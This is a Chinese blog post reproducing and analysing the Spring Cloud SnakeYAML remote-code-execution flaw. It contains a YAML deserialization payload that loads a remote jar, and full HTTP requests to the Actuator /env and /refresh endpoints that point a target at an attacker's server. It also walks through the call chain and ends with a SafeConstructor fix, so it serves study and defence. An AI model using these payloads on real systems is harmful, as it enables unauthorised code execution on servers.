Java代码审计之Spring Cloud SnakeYAML RCE

Java代码审计之Spring Cloud SnakeYAML RCE

注:本文为复现文和学习文,原创极少,参考了大量参考链接里的内容~感兴趣者自行阅读原作

0x01. 原理

  1. 利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://127.0.0.1:63712/yaml-payload.yml
  2. 请求 /refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行

0x02. 利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

漏洞检测,访问/env是否有下面两条字符串

snakeyaml.jar (反序列化需要)

spring-boot-starter-actuator.jar (/refresh需要)

0x03. 复现过程

1. 访问env

有snakeyaml字符串

image-20211024201944806

有spring-boot-starter-actuator字符串

image-20211024202009225

2. 构造恶意jar包

项目地址https://github.com/artsploit/yaml-payload

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

image-20211024204554379

3. jar和yml文件放在Web服务器上

yaml-payload.yml

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]
  ]]
]

4. 利用

设置 spring.cloud.bootstrap.location 属性

spring 1.x

POST /env HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring 2.x

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

Attack

POST /env HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

spring.cloud.bootstrap.location=http://127.0.0.1:8000/yaml-payload.yml

image-20211024205213379

刷新配置

spring 1.x

POST /refresh
Host: 127.0.0.1:9092
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Host: 127.0.0.1:9092
Content-Type: application/json

Attack

POST /refresh
Host: 127.0.0.1:9092
Content-Type: application/x-www-form-urlencoded

image-20211024205326255

此时有请求到Web服务上

image-20211024205354677

同时执行了恶意的jar文件,弹出了计算器

image-20211024205423056

0x04. SnakeYAML反序列化原理分析

0. 导入依赖包

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

1. SnakeYAML序列化和反序列化

demo1.yaml

firstName: "John"
lastName: "Doe"
age: 20

demoSnakeYaml1.java

public class demoSnakeYaml1 {
    String value;
    public demoSnakeYaml1(String args) {
        value = args;
    }

    public String getValue(){
        return value;
    }

}

demoSnakeYaml2.java

// 序列化
public void test1(){
  demoSnakeYaml1 obj = new demoSnakeYaml1("this is my data");
  Map<String, Object> data = new HashMap<String, Object>();
  data.put("MyClass", obj);
  Yaml yaml = new Yaml();
  String output = yaml.dump(data);
  System.out.println(output);
}

// 反序列化
public void test2() throws FileNotFoundException {
  Yaml yaml = new Yaml();
  File dumpFile = new File("demo1.yaml");
  Object load = yaml.load(new FileInputStream(dumpFile));
  System.out.println(load);
}

image-20211025141251187

生成弹计算器的jar文件,并放置Web服务下

使用https://github.com/artsploit/yaml-payload/项目生成

image-20211025141428561

3. 调用过程

接下来开始分析漏洞原理

public void test4(){
  String context = "!!javax.script.ScriptEngineManager [\n" +
    "  !!java.net.URLClassLoader [[\n" +
    "    !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload-calc.jar\"]\n" +
    "  ]]\n" +
    "]";
  Yaml yaml = new Yaml();
  yaml.load(context);
}

开启debug调试

image-20211025141631825

直接在Runtime.getRuntime().exec("open -a Calculator");打断点,查看整个链路

image-20211025142016656

链路如下,跟踪每个链路分析

<init>:13, AwesomeScriptEngineFactory (artsploit)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
nextService:380, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
initEngines:122, ScriptEngineManager (javax.script)
init:84, ScriptEngineManager (javax.script)
<init>:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
construct:570, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
test4:43, demoSnakeYaml2 (com.DemoSnakeYaml)
main:51, demoSnakeYaml2 (com.DemoSnakeYaml)

snakeyaml实例化传递进来的对象

其中在construct:570, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)

通过ClassLoader反射实例化了javax.script.ScriptEngineManager对象

image-20211025142353517

而javax.script.ScriptEngineManager是我们payload里传递的

image-20211025143311465

那么实例化了javax.script.ScriptEngineManager对象后,如何执行恶意代码呢?下面就是分析SPI机制了。

SPI机制(ScriptEngineManager)

SPI机制: 全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。那么如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类

即生成计算器的代码里,有/META-INF/services目录,目录下的文件和文件内容如下。那么SPI机制就会找到javax.script.ScriptEngineFactory这个文件,并且动态的去加载javax.script.ScriptEngineFactory文件里定义的artsploit.AwesomeScriptEngineFactory类,也就是我们弹计算器的代码。

image-20211025142832650

image-20211025143134721

SPI的调用流程分析

javax.script.ScriptEngineManager<init>
    javax.script.ScriptEngineManager.init()
        javax.script.ScriptEngineManager.initEngines()
            java.util.ServiceLoader.LazyIterator.nextService()
                artsploit.AwesomeScriptEngineFactory<init>
                    Runtime.getRuntime().exec()

ScriptEngineManager.java#ScriptEngineManager –> ScriptEngineManager.java#init –> ScriptEngineManager.java#initEngines

image-20211025144049118

image-20211025144341479

通过ServiceLoader动态加载类

image-20211025145231306

在这里实例化了我们的弹计算器的类

image-20211025145355556

成功的弹出计算器

image-20211025145452437

0x05. spring cloud SnakeYAML RCE触发点

抓包

image-20211025153940699

RefreshEndpoint.refresh() 方法 ,即处理 /refresh 接口请求的类

image-20211025153317400

BootstrapApplicationListener.bootstrapServiceContext() 方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值,即之前设置的外部 yml 文件 url

image-20211025153702015

org.springframework.boot.env.PropertySourcesLoader.load() 方法,loader是 YamlPropertySourceLoader 类,加载 url 对应的 yml 配置文件

image-20211025153833530

YamlPropertySourceLoader是snakeyaml

image-20211025153749778

YamlProcessor.process() 方法中调用 Yaml.loadAll() 解析 yml 文件内容 ,之后的流程就和前面 SnakeYAML 反序列化过程类似,最终触发命令执行

image-20211025154244641

从链路中也能看到调用的是SnakeYAML解析yaml文件

image-20211025154351407

0x06. SnakeYAML总结

1. 白盒审计定位漏洞点

在审计中其实就可以直接定位yaml.load();,然后进行回溯,如若参数可控,那么就可以尝试传入payload。

2. 修复方案

加入new SafeConstructor()类进行过滤

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml(new SafeConstructor());
        yaml.load(context);
    }

}

0x07. 参考链接

https://github.com/LandGrey/SpringBootVulExploit#0x02spring-cloud-snakeyaml-rce
https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/
https://www.cnblogs.com/nice0e3/p/14514882.html
https://www.cnblogs.com/nice0e3/p/14514882.html#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/

   转载规则


《Java代码审计之Spring Cloud SnakeYAML RCE》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。